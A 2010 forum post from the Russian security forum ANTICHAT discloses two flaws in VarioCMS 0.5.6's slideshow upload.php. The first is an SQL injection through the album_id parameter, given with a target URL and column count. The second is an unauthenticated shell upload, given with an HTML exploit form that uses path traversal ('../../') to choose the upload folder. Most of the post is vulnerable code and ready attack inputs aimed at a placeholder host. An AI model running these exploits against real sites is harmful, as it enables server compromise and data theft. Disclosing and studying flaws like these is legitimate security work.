HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 27.03.2010, 21:42
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Product: VarioCMS
Version: 0.5.6
Author:: http://sourceforge.net/projects/variocms/

SQL-Inj

Need: mq=off;

File: /plugins/system/slideshow/upload.php

PHP код:
if (isset($_GET['album_id'])) {
    
$album_id $_GET['album_id'];
  }
....
$sql_insert "INSERT INTO " $db_plugin_prefix "slideshow (album, albumid, image, thumbnail, position) VALUES ('$album', '$album_id', '$image', '0', '$position')";
      
fputs($logfile"$sql_insert\n"); 
Target: http://localhost/bugs/VarioCMS/plugins/system/slideshow/upload.php?album=1&album_id=1'{SQL}.
Columns: 7

Upload Shell

Need: none.

File: /plugins/system/slideshow/upload.php

PHP код:
if (isset($_GET['album_id'])) {
    
$album_id $_GET['album_id'];
  }
..
foreach (
$_FILES as $file => $fileArray) {
    echo(
"File key: $file\n");
    foreach (
$fileArray as $item=>$val) {

    }

//Let's manipulate the received file: in this demo, we just want to remove it!
    
$new_dir $slideshow_path $album_id;
    if (
file_exists($new_dir) == false) {
      
mkdir ($new_dir);
      
mkdir ($new_dir "/fullsize");
      
mkdir ($new_dir "/slideshow");
      
mkdir ($new_dir "/thumbnails");
    }

    
$upload_dir $slideshow_path $album_id "/";
    
$position 65000;
    if (
move_uploaded_file($fileArray['tmp_name'], $upload_dir uml2nouml($fileArray['name']))) { 
Target:
Expl0it ^_^:
Код:
<form  enctype="multipart/form-data" action="http://targethost.com/plugins/system/slideshow/upload.php?album=1" method="get" >
<input type="file" name="Filedata" /><input type="submit" />
<input type="text" name="album_id" value="../../"/>
</form>
album_id = folder to upload shell.
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Библиотека SladerNon Болталка 17 05.02.2007 23:30



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ